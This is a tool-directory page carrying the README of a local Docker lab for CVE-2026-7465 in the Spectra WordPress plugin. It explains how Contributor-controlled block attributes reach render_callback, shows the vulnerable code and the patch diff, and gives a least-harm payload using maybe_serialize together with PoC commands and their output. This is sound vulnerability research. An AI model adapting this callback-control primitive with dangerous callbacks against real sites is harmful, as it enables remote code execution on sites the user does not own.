Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-7465-Lab | Kitploit
Tools/GitHubGitHub/rootdirective-sec/cve-2026-7465-lab
Vulnerability AnalysisExploitationWeb Application ExploitationCTFLearning & EducationLabs & Practice
GitHubrootdirective-sec/cve-2026-7465-lab

CVE-2026-7465-Lab

View Repository
2 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-7465 - Spectra Gutenberg Blocks Local Lab

Local Docker lab for analyzing and reproducing CVE-2026-7465 in the WordPress plugin Spectra Gutenberg Blocks (ultimate-addons-for-gutenberg).

This lab compares:

  • vuln: Spectra 2.19.25
  • patched: Spectra 2.19.26

The proof is intentionally least-harm. It does not execute shell commands, upload files, create users, or modify the container directly. The PoC creates a temporary WordPress draft post, checks rendered block behavior, then deletes the draft.


Summary

CVE-2026-7465 is a vulnerability in Spectra Gutenberg Blocks where user-controlled Gutenberg block attributes could be passed into WordPress block registration arguments.

In the vulnerable version, Spectra dynamically registers parsed uagb/* blocks using block attributes from post content:

root@kitploit:~
$registry->register( $block['blockName'], $block['attrs'] );

Because a Contributor can create post content containing Gutenberg block comments, an authenticated Contributor-level user can influence registration arguments such as render_callback.

Version 2.19.26 fixes the issue by registering the block with an empty argument array:

root@kitploit:~
$registry->register( $block['blockName'], array() );

This prevents post-controlled block attributes from becoming PHP block registration options.


Affected Component

Product:

root@kitploit:~
Spectra Gutenberg Blocks
WordPress plugin slug: ultimate-addons-for-gutenberg

Versions used in this lab:

root@kitploit:~
vulnerable: 2.19.25
patched:    2.19.26

WordPress.org changelog for 2.19.26 states that the update addressed a security bug and credits Wordfence for responsible reporting.


Root Cause

The vulnerable logic is located in:

root@kitploit:~
classes/class-uagb-init-blocks.php

The vulnerable code checks whether a parsed block name contains the uagb/ namespace. If the block is not already registered, it registers the block dynamically.

Vulnerable behavior

root@kitploit:~
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {

    $registry = WP_Block_Type_Registry::get_instance();

    if ( ! $registry->is_registered( $block['blockName'] ) ) {
        $registry->register( $block['blockName'], $block['attrs'] );
    }
}

The issue is the second argument:

root@kitploit:~
$block['attrs']

In Gutenberg, block attributes can be stored inside post content, for example:

root@kitploit:~
<!-- wp:uagb/example {"render_callback":"maybe_serialize"} /-->

A Contributor can create draft post content. Therefore, the attacker can influence $block['attrs'].

When those attributes are passed into WP_Block_Type_Registry::register(), they become block registration arguments. One sensitive registration argument is:

root@kitploit:~
render_callback

This creates a callback-control primitive.

Patched behavior

In 2.19.26, Spectra still registers the parsed uagb/* block name, but no longer passes post-controlled attributes as registration arguments:

root@kitploit:~
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {

    $registry = WP_Block_Type_Registry::get_instance();

    if ( ! $registry->is_registered( $block['blockName'] ) ) {
        $registry->register( $block['blockName'], array() );
    }
}

The important change is:

root@kitploit:~
- $registry->register( $block['blockName'], $block['attrs'] );
+ $registry->register( $block['blockName'], array() );

This removes attacker-controlled attributes from the block registration path.


Why the PoC Uses maybe_serialize

The PoC does not use dangerous PHP callbacks such as system, exec, shell_exec, or passthru.

Instead, it uses:

root@kitploit:~
maybe_serialize

The proof block content is:

root@kitploit:~
<!-- wp:uagb/cve-2026-7465-lab {"render_callback":"maybe_serialize"} /-->
<!-- wp:uagb/cve-2026-7465-lab {"lab_marker":"CVE_2026_7465_LEAST_HARM_CALLBACK_MARKER","proof":"least-harm"} /-->

Expected behavior:

root@kitploit:~
vulnerable:
  render_callback from block attrs is accepted
  marker appears in rendered content

patched:
  render_callback from block attrs is ignored
  marker does not appear in rendered content

This proves the vulnerable behavior without executing commands or writing files.


Lab Architecture

Services:

root@kitploit:~
db_vuln      MariaDB for vulnerable WordPress
db_patched   MariaDB for patched WordPress
vuln         WordPress + Spectra 2.19.25
patched      WordPress + Spectra 2.19.26
seed_vuln    one-shot WordPress setup for vulnerable site
seed_patched one-shot WordPress setup for patched site

Local ports:

root@kitploit:~
http://127.0.0.1:8181 -> vulnerable WordPress
http://127.0.0.1:8182 -> patched WordPress

Seeded WordPress user:

root@kitploit:~
username: contributor
password: contributorpass123!
role:     contributor

The PoC is HTTP-only. It interacts with WordPress through login and REST API requests.


Repository Structure

root@kitploit:~
.
├── docker-compose.yml
├── patched
│   └── Dockerfile
├── poc
│   └── poc.py
├── scripts
│   └── seed-wordpress.sh
├── vuln
│   └── Dockerfile

Running the Lab

Start from a clean environment:

root@kitploit:~
docker compose down -v --remove-orphans
docker compose up -d --build

Check containers:

root@kitploit:~
docker compose ps

Check seed logs:

root@kitploit:~
docker compose logs seed_vuln seed_patched

Expected seed result:

root@kitploit:~
[+] seed vuln: done
[+] seed patched: done

Running the PoC

Test vulnerable target:

root@kitploit:~
python3 poc/poc.py -t http://127.0.0.1:8181

Expected vulnerable verdict:

root@kitploit:~
[VERDICT]
  VULNERABLE_BEHAVIOR_OBSERVED

Test patched target:

root@kitploit:~
python3 poc/poc.py -t http://127.0.0.1:8182

Expected patched verdict:

root@kitploit:~
[VERDICT]
  PATCHED_BEHAVIOR_OBSERVED

Expected Output

Vulnerable - Spectra 2.19.25

root@kitploit:~
[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8181

[INFO] fingerprinting target
  spectra_stable_tag: 2.19.25
  spectra_changelog_latest: 2.19.25
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=16
[INFO] fetching rendered content

[EVIDENCE]
  raw_contains_marker:      True
  rendered_contains_marker: True
  rendered_length:          227
  proof_callback:           maybe_serialize
  synthetic_block:          uagb/cve-2026-7465-lab

[VERDICT]
  VULNERABLE_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=16
[OK] cleanup complete

Patched - Spectra 2.19.26

root@kitploit:~
[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8182

[INFO] fingerprinting target
  spectra_stable_tag: 2.19.26
  spectra_changelog_latest: 2.19.26
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=14
[INFO] fetching rendered content

[EVIDENCE]
  raw_contains_marker:      True
  rendered_contains_marker: False
  rendered_length:          1
  proof_callback:           maybe_serialize
  synthetic_block:          uagb/cve-2026-7465-lab

[VERDICT]
  PATCHED_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=14
[OK] cleanup complete

Evidence Interpretation

The important comparison is:

root@kitploit:~
raw_contains_marker
rendered_contains_marker

Both vulnerable and patched targets should show:

root@kitploit:~
raw_contains_marker: True

This confirms the same block content was successfully saved into a temporary draft post.

The difference is in rendered output:

root@kitploit:~
vulnerable:
  rendered_contains_marker: True

patched:
  rendered_contains_marker: False

This demonstrates that the vulnerable version accepted the post-controlled render_callback, while the patched version did not.

Cleanup

Stop and remove containers, networks, and volumes:

root@kitploit:~
docker compose down -v --remove-orphans

Remove Python cache if present:

root@kitploit:~
rm -rf poc/__pycache__

Safety Notes

This repository is for local security research and portfolio demonstration only.

The PoC:

  • only targets localhost or loopback addresses
  • uses authenticated WordPress access in the local lab
  • creates a temporary draft post
  • deletes the draft post after checking rendered behavior
  • does not execute shell commands
  • does not upload files
  • does not create users
  • does not modify Docker containers directly
  • does not provide a remote exploitation workflow

Do not run this against systems you do not own or do not have explicit permission to test.


References

  • WordPress.org Plugin Page: Spectra Gutenberg Blocks - Website Builder for the Block Editor
    https://wordpress.org/plugins/ultimate-addons-for-gutenberg/

  • WordPress.org Changelog: 2.19.26 - Monday, 4th May 2026 security update credited to Wordfence
    https://wordpress.org/plugins/ultimate-addons-for-gutenberg/#developers

  • WordPress Plugin SVN / Trac
    https://plugins.trac.wordpress.org/browser/ultimate-addons-for-gutenberg/

Download Tool